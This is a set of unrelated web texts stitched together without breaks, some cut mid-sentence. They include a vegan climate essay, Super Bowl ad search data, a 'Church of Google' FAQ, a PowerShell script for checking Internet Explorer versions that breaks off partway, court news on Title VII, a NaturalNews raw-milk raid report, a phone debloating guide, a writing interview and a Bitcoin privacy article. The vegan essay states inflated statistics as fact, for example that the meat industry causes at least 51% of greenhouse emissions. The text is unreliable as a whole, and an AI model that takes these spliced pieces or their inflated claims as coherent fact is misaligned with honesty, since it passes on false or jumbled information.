The study participants who married did report slightly more satisfaction with their lives but this modest gain in happiness also declined over time, especially if they later divorced. The effect of divorce on life satisfaction was pronounced: it led to drop in happiness three times greater than the gain which followed marriage.
The study, entitled The Ambiguous Link and Health, was published in the academic journal Social Forces.From the time they can chew, children are fed animal products and by-products: pork, beef, chicken, dairy, fish… All things society has accepted as the main source of nutrition in the human diet.
Most people consume meat for at least two meals of the day, making it something so habitual that it becomes difficult to realize the resources it takes to produce meat. But not being informed of the strain is not an excuse; ignorance isn’t bliss, ignorance kills our planet.
Animal flesh and/or animal by-products are consumed by approximately 96.3% of Americans, while only 3.2% claim a vegetarian diet, and a merely 0.5% claim a fully vegan diet.
This widely shared diet is contributing to the death of our Earth; adding to climate change and using excessive amounts of water and energy to produce mass amounts of meat to meet the consumption rate.
The amount of water required to produce one-pound beef from start to finish is approximately 2,400 gallons, in comparison to the just 180 gallons of water it takes to produce one-pound of whole wheat. Almost 50% of Earths water source is used to supply the meat industry. Why continue an animal product filled diet and choose to to contribute to the waste of so much water when those resources could be used to help get purified water to those without access?
With climate change being such a prominent issue today, we should be fully informed on what a meat sourced diet is doing to the Earth. What is the biggest contributor to climate change? The greenhouse gases: methane, carbon dioxide, and nitrous oxide. According to The Worldwatch Institute, at least 51% of greenhouse gas emission are coming from the meat industry.
Can you imagine if more than half of emissions were cut down overtime because people were more aware of what animal product diets do to the Earth? Just being aware of these statistics is not enough. To make a difference in the world, more people need to be willing to take action to reduce their contributions to this issue.
What You Can Do
What can one person do to help stop the strain on the environment? Adopting a vegan, vegetarian, or pescetarian diet can save plenty of resources. Even just giving “meatless Monday” a try or or switching one animal-based protein a day with a plant-based protein can help.Lexus, which last night advertised its RC 350 during Super Bowl XLIX's third quarter, saw searches on Kelley Blue Book's website skyrocket by 1,820 percent for that model. While we gave the car brand a thumbs-down review, the 30-second spot proved effective at creating a big spurt of lead generation at KBB.com, where consumers can request dealer quotes.
It turned out to be a good night for luxury models. BMW (1,131 percent hike) and Mercedes-Benz (950 percent) were on Lexus' heels, seeing big gains for Blue Book search queries.
When it came to general brand searches—such as Jeep or Chevrolet, as opposed to specific models—Kia drew the biggest jump at 68 percent. Curiously, Lexus' brand overall didn't fare well in this statistical category, coming in with a 6 percent lift. The Japanese automotive company also advertised the NX, which got a 48 percent spike in searches.
With Lexus' model-specific triumphs in mind, what gives?
"Its ads were both very model-centric, which were right in tune with the Super Bowl audience," said Jack Nerad, an executive markets analyst at Kelley Blue Book.
Nerad noted that the brand's spots struck a chord with male consumers, who queried model-specific searches. "Lexus' ads were pretty masculine," he said. "[But] they didn't extend to the Lexus brand."
Check out automotive advertisers' results from last night, per Kelley Blue Book's search data.
Percent Increase of KBB.com Searches for Big Game Advertised Models
Model Percent Lexus RC 350 1,820% BMW i3 1,131% Merceds-Benz AMG GT 950% Jeep Renegade 500% Chevrolet Colorado 370% Nissan Maxima 229% Kia Sorento 225% Fiat 500X 113% Dodge Challenger 106% Lexus NX 48% Toyata Camry 20%
Percent Increase of KBB.com Searches for Big Game Advertised BrandsWhy do you worship Google as a God?
Because Google is the closest thing to a “God” that humans can know and understand. We worship Google, and we can prove not only does Google exist, but unlike any other god, it exists as we know it.
Is there a Google afterlife?
By uploading our thoughts and opinions onto the Internet, our knowledge lives on in Google’s cache even after our death.
I always thought Google was a male search engine?
Search Engines don’t have a gender, but there is a reason for our referring to Google as a female: originally, religions of the past thought of Gods as mainly feminine. It wasn’t until monotheistic, Abrahamic religions such as Christianity, Islam and Judaism entered the picture that the concept of “God” became purely masculine.
You have been conditioned by your culture to view all Deities as male. The Church of Google is simply carrying on the ancient tradition of viewing gods as feminine. It’s not part of any feminist agenda, nor an attempt at political correctness. It’s just us breaking a cultural taboo.
How can you worship a search engine over Jesus Christ/Allah/Zeus/Spaghetti Monster? It’s just a computer program!
We will answer your question with another similar question: Why do you choose to worship your god over other gods? The same amount of anecdotal evidence exists for all supernatural gods. You cannot directly experience them, they all require faith, have holy books associated with them (all claiming to be the one true word of God) and generally, believers of these gods describe a “feeling” that their god is watching over them.
Believers in all supernatural gods describe the exact same experiences and feelings without exception. Your God is in no way different than any other supernatural god. You believe in it simply for the comfort it provides you with, despite it being completely illogical. It is a psychological tool you use to cope with reality.
What ideology is Googlism founded upon?
Googlism does not follow any particular ideology. We welcome all sorts of differing views into our community. Googlism is simply the belief that Google is the closest thing to a God our species has every directly experienced. That’s it.
Google is man made and therefore cannot be God.
We completely agree with you. The Christian God, Islamic God and Hindu gods are also man made concepts. They exist only in the imagination of believers. We consider the belief in invisible beings to be much more illogical than the belief in Google (as a God).
But the Bible is proof our God is real.
The Bible is proof of nothing. It was written by men. Saying the Bible is the word of God because that’s what the Bible tells you is a prime example of circular reasoning. I might equally argue that Google proves itself to be a God as this very page appears if you pray to Google for the phrase “church google god”.
So, if Google told you to go jump off a bridge, would you do it?
If someone told you that after you die, you’re going to live ‘forever’ in peace and harmony in the sky, would you believe them?
Googlism hurts people by sending them to Hell.
First of all, we do not believe a “hell” exists. Secondly, Googlismm has not started any religious wars, forced its opinions onto others, discouraged critical thought, objected to harmless lifestyle choices and most importantly, we have never attempted to scare people into believing they will suffer if they reject our religion. Can you say the same for your religion? If you reject Google as your God, nothing negative (aside from your search results being crappy) will happen to you.
You’re wasting your time on an idiotic and bogus religion.
Assuming you subscribe to Christianity, Islam, Judaism or any of the other major religions: “Right back at you?”. Worshiping an invisible, nonexistent being is an equal, if not greater, waste of time.
It is possible to find bad things through Google, such as porn, information on how to build a bomb, etc. Doesn’t this make Google “evil”?
Much like Christians, Jews and Muslims claim of their God, Google offers us all a choice. There are bad things in this world, and we must choose, as individuals, to make the right decisions. The same is to be said about searching. Google offers us free will.
But can’t Google’s search results be manipulated sometimes? If Google were a true God, She could not be manipulated.
And the Bible, Koran and Torah are not manipulated? Googlists would argue that these books are some of the most mass manipulated works in existence. Yes, unfortunately Google’s search results can sometimes be manipulated, but this is hardly anything new when it comes to religion.
This is blasphemy! How dare you mock religion like this!?!
The Church of Google believes we should be tolerant of everyone’s beliefs, provided said beliefs hurt no one. The statement above is not one of tolerance. In fact, the statement above shows two of the deadly sins: Anger and Hubris, as well as breaking some of the cardinal rule of Christianity as taught by Jesus: Love Thy Neighbor, and Turn The Other Cheek. Strange then that we, a “parody” religion, follow the philosophy of one of the most popular religions more closely than many of its followers.
We are quite serious in our belief that Google is the closest mankind has ever come to directly experiencing a Deity. We do not attack you for who or what you worship, you should extend us the same courtesy.I don't know my gifter's username, but she (I assume she, because the package said Lauren) did a great job! I wasn't expecting my gift to get here so soon and after a long day at work, it was most exciting.
She did some quick stalking and saw that I am indeed a Doctor Who fan. (I apologize for my crazy hair and dirty mirror in these photos...)
The second shirt was an awesome shirt about all the knowledge you need as a time traveler. Pretty much how to be a wizard in the past. :D
She also sent this badass Super Smash Brothers poster which I will be framing and hanging somewhere for all to see. You know me too well Secret T-shirt Santa lady.
Thanks you so so much!Internet Explorer Version Check via PowerShell
Hello everyone. Recently I have got a task to check the version of Internet Explorer on our Windows Server 2008 R2 machines (yes, we are still using them, loads).
I decided to check the IE via PowerShell ofc. But since I have had like 400 servers, I decided to write a script to connect to the server (ok first to check the connection and see if the server is responding or not), and to query registry, get the result from it, collect all the info, and save it into CSV file. Pretty neat ha? 🙂
OK, so lets get started.
Also check: INSTALLING POWERSHELL 3.0 ON WINDOWS SERVER 2008 R2 SP1
First, we need to know where in Registry we can get the right info. The correct path is: HKLM\Microsoft\Internet Explorer – in there, you will find a ´Value´ section.
Also, I have defined a variable ´computernames´, which we contain computer names taken from computers.txt (you can place your script and txt file wherever you want, I decided to place it in C:_Scripts\check_IE_version).
$array =@() $keyname = 'SOFTWARE\\Microsoft\\Internet Explorer' $computernames = Get-Content "C:\_scripts\check_IE_Version\computers.txt"
Next, we want to check the connection to all the servers from computer.txt file.
foreach ($computer in $computernames) { if (!(Test-Connection -CN $computer -BufferSize 16 -Count 1 -ea 0 -quiet)) { Write-Host "Problem connecting to " $computer } else { Write-host "We have a good connection to " $computer } #end else } #end if
Basically, it tests the connection to a server ($computer), and |
Supreme Court will consider whether to take up a separate challenge.
At the heart of the cases are whether Title VII of the Civil Rights Act of 1964, a federal law that bans employment discrimination because of sex, also protects claims of sexual orientation. In an unusual twist in the case, the Trump administration is on opposite sides from the Equal Employment Opportunity Commission -- a federal agency charged with enforcing Title VII.
Joshua Matz, a lawyer who has has written about the issue for the Take Care law blog, said the Supreme Court will likely take up the issue. "It's a matter of national importance, affecting employees and employers from every walk of life," he said.
Most courts have rebuffed such challenges over the years, but last April, the 7th US Circuit Court of Appeals broke new ground when Judge Diane Wood, a Clinton appointee writing for the majority, allowed a claim from Kimberly Hively to go forward. Hively sought to sue Ivy Tech Community College arguing that the school violated Title VII when it denied her employment based on her sexual orientation.
"Any discomfort, disapproval, or job decision based on the fact that the complainant -- woman or man -- dresses differently, speaks differently, or dates or marries a same-sex partner, is a reaction purely and simply based on sex," Wood wrote. "That means that it falls within Title VII's prohibition against sex discrimination, if it affects employment in one of the specified ways."
In short, Wood held that claims of sexual discrimination encompass claims of discrimination based on sexual orientation because similarly situated people are treated differently solely on account of their sex.
"For instance," said Matz,"if an employer fires a female employee because she is married to a woman, but would not fire an otherwise identical male employee married to a woman, the employee's sex is properly seen as having caused the termination."
Supporters of LGBT rights call the 7th Circuit opinion a landmark decision, but critics say that that the law was not written to provide a remedy for claims of sexual orientation.
"The two traits are categorically distinct," wrote Judge Diane Sykes in a dissent.
Hively's employers have decided not to appeal the case, so it will remain on the books. But two other cases are moving forward.
Lawyers for Jameka Evans, a security guard who claims her employer, a hospital, violated Title VII by discriminating against her because of her sexual orientation lost her fight in the 11th US Circuit Court of Appeals and her lawyers are asking the Supreme Court to take up her appeal.
Separately, on Tuesday, the 2nd US Circuit Court of Appeals will hear a claim brought by the estate of Donald Zarda. Zarda, a skydiving instructor, died before trial, but his estate has continued his suit.
The case stems back from 2010 when Zarda was an Altitude Express instructor for Rosanna Orellana. Zarda's role was to be tied to the back of Orellana, deploy the parachute and supervise the jump. According to court papers, at some point Zarda informed Orellana that he was gay. After the jump, Orellana's boyfriend learned that Zarda had disclosed his sexual orientation and called Altitude Express with various complaints about Zarda's behavior. Zarda was fired.
The company contended that Zarda was fired for failing to provide an enjoyable experience to customers. Zarda asserted that his actions were appropriate and he was fired because of his sexuality -- he filed a complaint with the EEOC alleging sex discrimination in violation of Title VII.
The case is in an unusual position as the EEOC supports Zarda, while the Justice Department is on the other side.
"The EEOC is not speaking for the United States," DOJ lawyers say in their brief. They stress that Congress did not mean Title VII to extend to claims of sexual orientations.
Coming more than two years after the Supreme Court cleared the way for same sex marriage, government lawyers note "to be sure" there have been "notable changes in societal and cultural attitudes about such discrimination" but they insist that Congress has "consistently" declined to amend Title VII in light of those changes.
They say that even changes in societal attitudes "do not present courts with a license to rewrite a constitutionally valid statutory text under the banner of speculation about what Congress might have done to implement a clear statute's policy objectives. "
Lawyer Gregory Antollino and the LGBT rights group Lambda Legal will argue in support of Zarda's estate.
"If you discriminate on the basis of sexual orientation, you necessarily take into account the sex of the employee," said Antollino. "You can't take the'sex' out of "sexual orientation."(NaturalNews) Michael Schmidt is a Canadian dairy farmer and raw milk advocate who was raided October 2 by Canadian bureaucrats and police. Michael has been a huge proponent for raw milk for over 30 years and he has been instrumental in changing policy on raw milk.Michael currently operates a shareholder agreement with people who are part owners on the farm. This farm is not Michael's farm, but he does milk the cows and helps make deliveries to help the farmers out.On September 30, Michael's wife, Elisa, was making deliveries in a parking lot, and the truck she was driving was targeted for a raid by bureaucrats. The bureaucrats tried to raid the truck without a warrant, but Elisa stood her ground and demanded that they present a warrant before she would allow the truck to be inspected.As you can see in the video below, Elisa was courageous and steadfastwhen handling the raid on her truck. Elisa understood her rights andmade sure that the bureaucrats did not take advantage of the situation.Even when they returned an hour later with a warrant, they tried to takea lot of things from the truck that, according to the warrant, they hadno right to take. Elisa pointed out to the bureaucrats that theirwarrant only allowed them samples, and Elisa reading the warrantcarefully was paramount in stopping them from seizing more than theywere legally allowed.In the video, you can hear the supporters telling the bureaucrats, "This is our milk. No, you cannot take it... that is not a sample. What is the definition of a sample? This is not your milk! They're trying to take it, they're trying to unload the milk. As long as you follow the warrant, we're OK."On Friday, October 2, the bureaucrats and police are currently raiding the farm, Glen Colton Farm. Our sources say there are 20 bureaucrats and five police at the farm, but they are outnumbered by the shareholders and their supporters. Our source estimates that there will likely be upwards of 50 people arrested today.It is important to note that Michael is currently out on bail for refusing to massacre his flock of healthy sheep in Canada. If he is charged with anything today, he will go straight to jail. Michael has an Indiegogo account dedicated to his legal defense in his sheep protection case. A separate Indiegogo campaign to support Glen Colton Farm is currently in the works.For background information on Michael, go here. And for a short video about the sheep case go here Below is the list of the agencies that are currently on the farm conducting the raid: http://davidgumpert.com/schmidts-crowdfundin... target="_blank">DavidGumpert.comIndiegogo.com www.youtube.com/watch?v=gHiZaLqOmUg" target="_blank">YouTube.comIt's time.
Saskatchewan Premier Brad Wall says nuclear energy could hold the key in helping certain parts of Canada reduce their greenhouse gas emissions. "For parts of the country that are heavily reliant on coal, I think it should be part of the baseload discussion," Wall told host Evan Solomon.
"The bottom line is: if we want to do something about baseload GHG which are principally coming from coal, the renewables aren't quite there yet to replace that in a way that's cost effective especially for developing economies. But uranium obviously is. I think it's time to revisit the issue," Wall said.
During his official visit to Canada to this, Indian Prime Minister Narendra Modi signed a deal to buy more than 3,000 tons of Saskatchewan uranium over the next five years to fuel his country's power reactors.
Indian prime minister was welcomed to Parliament Hill with full military honours 31:19
Ottawa's role in reducing emissions
Earlier this week, Brad Wall talked about his province's efforts to capture and store carbon dioxide at a climate change summit in Quebec City.
He says the federal government has been an active partner in that file and that Ottawa needs to collaborate with the provinces on innovative approaches to climate change.
"The federal government invested a quarter of a billion dollars in our carbon capture project in Saskatchewan, so they were meaningful partners. If we are going to find technological solutions to baseload electricity in our country, but also in places like China and India and other places around the world that are still using coal, we need the federal government to be part of that, like they were in our project. That's what I hope they continue to do," he said.I delivered a session on Tips for successfully working remote/working from home—both for employees and employers—at php[tek] 2016 in St. Louis today. This session was a bit shorter than yesterday's session on a HA Raspberry Pi cluster, but I had a lot of content I've been putting together for many months.
I've been working on (and will someday publish) a much more comprehensive blog post on the topic of remote work... but this presentation is a nice, short summary of the main things that have helped me stay positive, productive, and motivated as a remote employee, and remain connected with my remote co-workers and the home office. There's a video and slides from the presentation attached, but here's a quick bullet-point summary, categorized by the three main themes that build on each other for successful remote work:
Environment Have a completely separate office environment Use a dedicated work computer (and leave it in your office) Since it's your own personal environment, spend time making sure you have good lighting, healthy air (test for radon if you're in a basement!), and a noise-free environment (as much as possible) Set strict boundaries with family and leisure activities (e.g. no TV or gaming console in your workspace, and make sure SO and kids know you are working and shouldn't be disturbed normally.
Communication Add a conference call/video meeting to every meeting, no exceptions (don't exclude remotes!) Be present and actively listen during meetings (don't be forced to say "I'm sorry, I didn't hear that, could you repeat your question") Use video if at all possible; helps keep you honest, also provides deeper/emotional context for communication Work with your employer to establish concrete goals, and ways to measure your success—and monitor your progress Be reachable/available during work hours
Discipline Establish routines and rituals (e.g. start work at same time each day, do housekeeping at same time each week, etc.) Eat healthy food (it helps if you work with a SO or housemate on this, for accountability) Set boundaries (family, leisure activities—these things shouldn't interfere with work) Meet people in person—at meetups, conferences, coffee shops—don't become a recluse Maintain at least a minimum modicum of being well-groomed Work with boss/other employees on including remotes in awards, recognition, and company-wide events
Here are a few links to things mentioned in the presentation:
Here's a video of the presentation:
And here are the slides:
As I said earlier, I'll post a much more comprehensive entry in the future—I just wanted to make sure to share this presentation, since it's a nice, concise summary of what it takes to be a successful remote employee!I updated from the Oneplus One and Nexus 6 to the Galaxy Note 5 on T mobile. I wanted a better camera, better screen and better hardware. The note 5 delivers on those things and then some. But coming from the OPO and Nexus 6, I was really missing stock android and material design, and I was used to customizing and streamlining the apps and features to maximize performance and battery life. I had an idea what I was getting into but Touchwiz and all the bloat had to go! You can disable much of the bloatware, but many apps I dont need or want are built into the system and cant be disabled in the App manager settings. Since we dont have root yet, and Im new to Samsung phones, I did some research and I wanted to provide some of things that helped turn the note 5 into the kind of phone I really love now. Please suggest anything else you have found that helps.First thing I noticed was the cell standby battery drain which I have seen on numerous lollipop devices and roms. It was draining the hell out of my battery but I found out it was an easy fix on T mobile. Disable Voice over LTE by going to dialer app --> More --> Settings --> Voice over LTE settings --> Do not use. No more cell standby battery drain!Apps: Adguard - Im used to using an adblocker app but most of those require root. Adguard creates a VPN on the phone and filters out all of the ads from web pages and tracking info from your web data. Speeds up any browser and helps battery life. Package Disabler Pro - Usually disable or uninstall unwanted apps with Titanium backup, but this app can do those same functions without root! I disabled 178 system apps and bloatware. Phone performs better and battery life is amazing (On pace for SOT of 9-10 hours with brightness on auto, battery saving location settings - wifi and cellular only - when Im not at work where I have really crappy signal all day. I will give a full battery life test this weekend).Next thing was getting as close to the stock look and feel as possible. I got the Dark Material Theme from the Theme store before disabling the Theme store. I installed Action Launcher but Nova Launcher will serve the same purpose, and disabled the Samsung Home Launcher. Unfortunately when you switch the launcher, you go back to those cartoony Samsung icons. No good. So I installed Glim icons There are many material design icon packs and the icons here arent strictly like the stock ones but they are very nice and the nice thing is it changes out most of the Samsung icons for the apps you will want to keep around, like S note and the Galaxy Apps (I bought the paid version which I think has more icons). Now the software looks amazing to go along with the hardware. And I was concerned about battery life coming to this phone but now, to my surprise, battery life is actually better than I was getting on my Oneplus One on Lollipoop. May not need root after all.WARNING: DO NOT USE ULTRA POWER SAVING MODE IF YOU HAVE COM.SEC.ANDROID.EMERGENCYLAUNCHER DISABLED - YOUR PHONE MAY FREEZE AND BE UNABLE TO BOOT AND YOU WILL HAVE TO DO A FACTORY RESET. THE REGULAR POWER SAVING MODE IS OK.I attached some example xml files. There is a "basic" xml file with around 150 disabled apps where I only disabled the apps I am sure of what they do, and mostly left apps and services that shouldnt run in the background most of the time anyway. This package preserves the most functionality and gets rid of the samsung fluff that you probably dont want and gets rid of most of the things they use to spy on you.There is also an "extreme" version which I would say is still somewhat experimental but has been running great for me so far. BUT USE AT YOUR OWN RISK IT MAY NOT BE COMPATIBLE WITH ALL APPS AND SETUPS. It disables around 200 apps!!! I attached screenshot of battery life I have gotten with this configuration. This is my own personal configuration so there is some minor functionality missing because I only left the things I felt were important for how I use the phone. If you like, you can import this and work backwards, enabling the things you want if you kind of know your way around the app.I also am posting a screenshot of the 250 apps and services you can disable safely without crashing your phone or creating major issues. Probably. Hopefully.HOW TO USE XML FILE: You have to download and unzip the xml file, put it in the /storage/emulated/0 section, open the app and select import xml file from menu. You will need to re-enable the stock LAUNCHER, CLOCK, CALENDAR, MESSAGING APP AND KEYBOARD, or replace with alternatives from playstore like I did if you use extreme configuration. You will also likely get a message saying you have modified your phone without permission or something when you try to do a System Update (at least thats what I get on the T mobile version). When there is an update or you want to check, you should use the app to export your file to preserve your settings, then re-enable everything, reboot the phone, check for update, then import your xml file again to go back to how you want it.To update if you're coming from a previous configuration, first go into menu and enable all disabled apps then import the new XML file.A First Reader is a person you go to first—before you send the story off to an editor, before you even know what it is you have on your hands. This is a person you trust almost as much as yourself. In a pinch, you might even trust him or her more than yourself.
A First Reader inhabits the inner circle of your creative space; he or she is separate enough from you to have a fresh perspective and honest enough to actually give it. He or she knows your ticks, tricks, and hang-ups. You have a history together—a history that is not all cheese puffs and roses—and you are still speaking to each other despite or even because of that history.
I have two First Readers—my wife who is a professor of religious studies at Wofford College and John Jeter who is a novelist, memoirist, and co-owner of a music venue in Greenville, SC. Both of my First Readers have an uncanny ability to look at a tangled ball of prose and see the threads of meaning, to stare chaos in the eye and she what that chaos aspires to be some day. Both are damn good editors, great writers, and even better friends.
John and I met a few years ago when I interviewed him about his then newly published novel, The Plunder Room. Instead of a straight ahead interview, John and I sat at The Handlebar and talked about writing and writers, music and the music business, and indulged in our mutual fondness for moderately inappropriate humor. I left with four and a half hours of tape for an 800-word column and a new friend.
The other morning, John and I found ourselves at our respective computers at the same time. John was still buzzing from having just turned in the “final final draft” of his memoir Rockin’ a Hard Place and I was struggling with writing about First Readers. So, I did what I do in a pinch—what journalists do when they have a topic and a deadline—I asked someone else some questions about the topic.
This is the first time John and I have talked about reading each others work. It’s usually just something we do—something that starts with “Help!” in the subject line or “Hey, you got a minute to read something?” But there’s more to it than that.
Why read someone else’s work?
John Jeter: Because he asked. No, really. Like Dos Equis’ Most Interesting Man In The World, I don’t often read what someone else asks me to read, but when I do, it’s usually because I either like the person who asks me (and I really like to help those folks I happen to like a lot) or I find that his subject or piece is compelling—preferably both. Generally, I find that the person who asks genuinely wants what I may have to say and seeks a perspective that he perhaps hadn’t considered during or after his writing.
What is your editorial approach when reading a friend’s writing?
John Jeter: The first thing I do is try my hardest to keep from ripping the entire thing apart without first reading it all the way through, and then I try to keep from rewriting it the way I would have written it because, of course, I would have written it much better, though the story wasn’t mine to begin with and I may, in fact, have limited knowledge about the subject matter, even though the writer who asked me to read his piece suspected that perhaps I did.
In any event, I actually do read the piece all the way through first and try to take mental notes on the places where I stop or the places where I flinch or the places that I would just cut out all together. I also keep a sharp eye for the “babies,” those flashy bits (or stretches) of precious prose that scream out: “Look at what a brilliant writer I am!”
As soon as I’ve made those notes mentally, I then go back and try to give a lot of thought to the writer’s original intention and voice, and then try to guide him back to those things. In other words: The distance between the head (and/or heart) and the fingers is often as far apart as the Sun is from Pluto, which isn’t even a planet anymore. My job, then, is to figure out a way to close the gap. As an outside observer invited in, I can often see what the writer’s brain is doing and what his fingers did, and, again, with a more-objective perspective, I can determine where the artistic spaceship went adrift and try to act as Ground Control to get the damn thing pointed in the direction the pilot originally wanted to fly.
That said, once I read the piece, get a feel for voice and intent, and decide once and for all what the writer’s real message, theme and structure are, I work to show that a little nudge here, a little push there, a little extra boost here and there might make a difference in the power and quality of the project.
Is it easier or harder to read something written by someone you know?
John Jeter: I prefer to read something by someone I know. I also prefer to read something by someone who knows me and knows me really well. If I wind up being too heavy-handed with a piece and have this sense that the entire thing should be rewritten top to bottom, I prefer to be working with someone I can say that to honestly. And if I do actually want to entirely rejigger the piece, but my friend would rather keep it the way it is—despite how bad I think it might be—I would rather that he has the freedom to tell me he appreciates my edits, etc., but doesn’t happen to agree with any of them. Honest friendship makes for honest editing. At least, that’s how I feel about it.
Would you rather get edits from a friend or an editor you don’t know?
John Jeter: I tend to think of editors as friends, so I’m not sure that an editor who buys or wants to work on a project of mine isn’t already a friend, if that makes any sense.
Here’s where that comes from: I came up in newspapers. Writing one or two or even three stories a day on deadline required some fast thinking and quick writing, and then just turning all those words over to a city editor, who then turned them all over to a copy editor. These were all colleagues, people I respected, trusted and appreciated. Most of them were terribly smart, often a lot smarter and, usually, more accomplished, talented or experienced than I was. I worked to make them friends, too, as much as they were colleagues. That way, I could assure myself that they treated me and my output with discretion and some amount of generosity, because nobody wants to truly piss off a friend. Most editors, especially the best ones, the ones who also want to be a friend of the writer, prefer to be constructive, not paragraph-shredders.
All in all, what are the pros and cons of having a “first reader”?
John Jeter: My wife has almost always been my first reader; that is, outside the newspaper business and in my life as a professional writer. The pros are that she’s generous and honest, never mind that she’s immensely capable, talented and damned good at editing. The cons are that she’s right just about all the time, and that can be either humbling or humiliating, depending on my mood.
I prefer to have a first reader I know rather than one I don’t. I recently had a “first reader” that was given to me by an editor, a first reader I didn’t and still don’t know and have never met. I didn’t have any idea of the reader’s credibility, but since my editor was the one who decided on that person, well, I felt okay about the judgment(s) that went into my work. At the same time, I knew I could also simply disregard that person’s comments. But that kind of speaks to my point: If you’re sleeping with your first reader and she happens to be right all the time, you kind of understand that credibility’s already a given.
Lastly, what do you look for in a “first reader”?
John Jeter: Great looks, a nice body... Actually, in some seriousness, I prefer a first reader who’s like the writer I would someday like to be: a reader/editor with a generosity of spirit whose purpose isn’t so much to serve the writer’s ego as it is to serve the story. Once the story is served, the writer’s ego gets served, too. The process usually doesn’t work so well when both parties – reader and writer – go at it the other way around. So my first reader needs to care about the story as much as she cares about me, but with the generosity of spirit that communicates this one truth: I care about you enough to make you want to produce the very best story you can, and if I (we) can do that, why, you’ll wind up feeling pretty good, too. That’s a good first reader.Me thinks that Lois Lerner and the Treasury Secretary be lying.
After all, how do all the Washington DC IRS officials in the Exempt Organizations Division find out about this in July of 2010, even by mistake, and Louis Lerner, Director of the Exempt Organizations Division and head of the Cincinnati office find out in June of 2011? C’mon there is no freaking way it happened like that.
REUTERS – A misfired email from a U.S. Internal Revenue Service employee in Cincinnati in July 2010 alerted a broad group of Washington IRS officials to the heightened scrutiny being given conservative groups, according to an interview the IRS worker gave congressional investigators.
The interview transcripts, reviewed by Reuters on Thursday, provide new details about Washington IRS officials’ awareness of the scrutiny given to groups seeking tax-exempt status using terms like “Tea Party” or “patriot” to flag applications.
The transcripts show that in July 2010, Elizabeth Hofacre, an IRS official in Cincinnati who was coordinating “emerging issues” for the agency’s tax-exempt unit, was corresponding with Washington-based IRS tax attorney Carter Hull.
She was asked to summarize her findings in a spreadsheet and notify a small group of colleagues, including some staff in the Washington tax-exempt unit. She sent an email that month to a larger number of people in Washington by accident.
“Everybody in D.C. got it by mistake,” Hofacre said in the transcripts. She later clarified that she did not mean all officials but those in the IRS Exempt Organizations Rulings and Agreements unit.
Hull could not be reached for comment.
Lois Lerner, the IRS official who set off the controversy, said she first learned of the “be on the lookout list” (BOLO) of partisan terms in June 2011, and ordered the criteria be removed immediately. The Treasury inspector general backed that up.
Washington IRS officials including Lerner, who was put on administrative leave in response to the fracas, have stressed the lack of Washington involvement in the scrutiny.While Bitcoin can support strong privacy, many ways of using it are usually not very private. With proper understanding of the technology, bitcoin can indeed be used in a very private and anonymous way.
As of 2019 most casual enthusiasts of bitcoin believe it is perfectly traceable; this is completely false. Around 2011 most casual enthusiasts believed it is totally private; which is also false. There is some nuance - in certain situations bitcoin can be very private. But it is not simple to understand, and it takes some time and reading.
This article was written in February 2019.
Summary
To save you reading the rest of the article, here is a quick summary of how normal bitcoin users can improve their privacy:
Think about what you're hiding from, what is your threat model and what is your adversary. Note that transaction surveillance companies exist which do large-scale surveillance of the bitcoin ecosystem.
Do not reuse addresses. Addresses should be shown to one entity to receive money, and never used again after the money is spent from them.
Try to reveal as little information as possible about yourself when transacting, for example avoid AML/KYC checks and be careful when giving your real life mail address.
Use a wallet backed by your own full node or client-side block filtering, definitely not a web wallet.
Broadcast on-chain transactions over Tor, if your wallet doesn't support it then copy-paste the transaction hex data into a web broadcasting form over Tor browser.
Use Lightning Network as much as possible.
If lightning is unavailable, use a wallet which correctly implements CoinJoin.
Try to avoid creating change addresses, for example when funding a lightning channel spend an entire UTXO into it without any change (assuming the amount is not too large to be safe).
If digital forensics are a concern then use a solution like Tails Operating System.
Introduction
Users interact with bitcoin through software which may leak information about them in various ways that damages their anonymity.
Bitcoin records transactions on the block chain which is visible to all and so create the most serious damage to privacy. Bitcoins move between addresses; sender addresses are known, receiver addresses are known, amounts are known. Only the identity of each address is not known (see first image).
The linkages between addresses made by transactions is often called the transaction graph. Alone, this information can't identify anyone because the addresses and transaction IDs are just random numbers. However, if any of the addresses in a transaction's past or future can be tied to an actual identity, it might be possible to work from that point and deduce who may own all of the other addresses. This identifying of an address might come from network analysis, surveillance, searching the web, or a variety of other methods. The encouraged practice of using a new address for every transaction is intended to make this attack more difficult.
The flow of Bitcoins is highly public.
Example - Adversary controls source and destination of coins
The second image shows a simple example. An adversary runs both a money exchanger and a honeypot website meant to trap people. If someone uses their exchanger to buy bitcoins and then transacts the coins to the trap website, the block chain would show:
Finding an identity of one address allows you to attack the anonymity of the transactions.
Transaction of coins on address A to address B. Authorized by <signature of address A>.
Transaction of coins on address B to address C. Authorized by <signature of address B>.
Say that the adversary knows that Mr. Doe's bank account sent the government currency which were used to buy the coins, which were then transferred to address B. The adversary also knows the trap website received coins on address C that were spent from address B. Together this is a very strong indication that address B is owned by Mr. Doe and that he sent money to the trap website. This assumption is not always correct because address B may have been an address held on behalf of Mr. Doe by a third party and the transaction to C may have been unrelated, or the two transactions may actually involve a smart contract (See Off-Chain Transactions) which effectively teleports the coins off-chain to a completely different address somewhere on the blockchain.
Example - Non-anonymous Chinese newspaper buying
In this example the adversary controls the destination and finds the source from metadata.
You live in China and want to buy a "real" online newspaper for Bitcoins. You join the Bitcoin forum and use your address as a signature. Since you are very helpful, you manage to get a modest sum as donations after a few months. Unfortunately, you choose poorly in who you buy the newspaper from: you've chosen a government agent! The government agent looks at the transaction used to purchase the newspaper on the block chain, and searches the web every relevant address in it. He finds your address in your signature on the Bitcoin forum. You've left enough personal information in your posts to be identified, so you are now scheduled to be "reeducated". A major reason this happened is because of address reuse. Your forum signature had a single bitcoin address that never changed, and so it was easy to find by searching the web.
You need to protect yourself from both forward attacks (getting something that identifies you using coins that you got with methods that must remain secret, like the scammer example) and reverse attacks (getting something that must remain secret using coins that identify you, like the newspaper example).
Example - A perfectly private donation
On the other hand, here is an example of somebody using bitcoin to make a donation that is completely anonymous.
The aim is to donate to some organization that accepts bitcoin. You run a Bitcoin Core wallet entirely through Tor. Download some extra few hundred gigabytes of data over Tor so that the total download bandwidth isn't exactly blockchain-sized. Solo-mine a block, and have the newly-mined coins sent to your wallet. Send the entire balance to a donation address of that organization. Finally you destroy the computer hardware used.
As your full node wallet runs entirely over Tor, your IP address is very well hidden. Tor also hides the fact that you're using bitcoin at all. As the coins were obtained by mining they are entirely unlinked from any other information about you. Since the transaction is a donation, there are no goods or services being sent to you, so you don't have to reveal any delivery mail address. As the entire balance is sent, there is no change address going back that could later leak information. Since the hardware is destroyed there is no record remaining on any discarded hard drives that can later be found. The only way I can think of to attack this scheme is to be a global adversary that can exploit the known weaknessness of Tor.
Multiple interpretations of a blockchain transaction
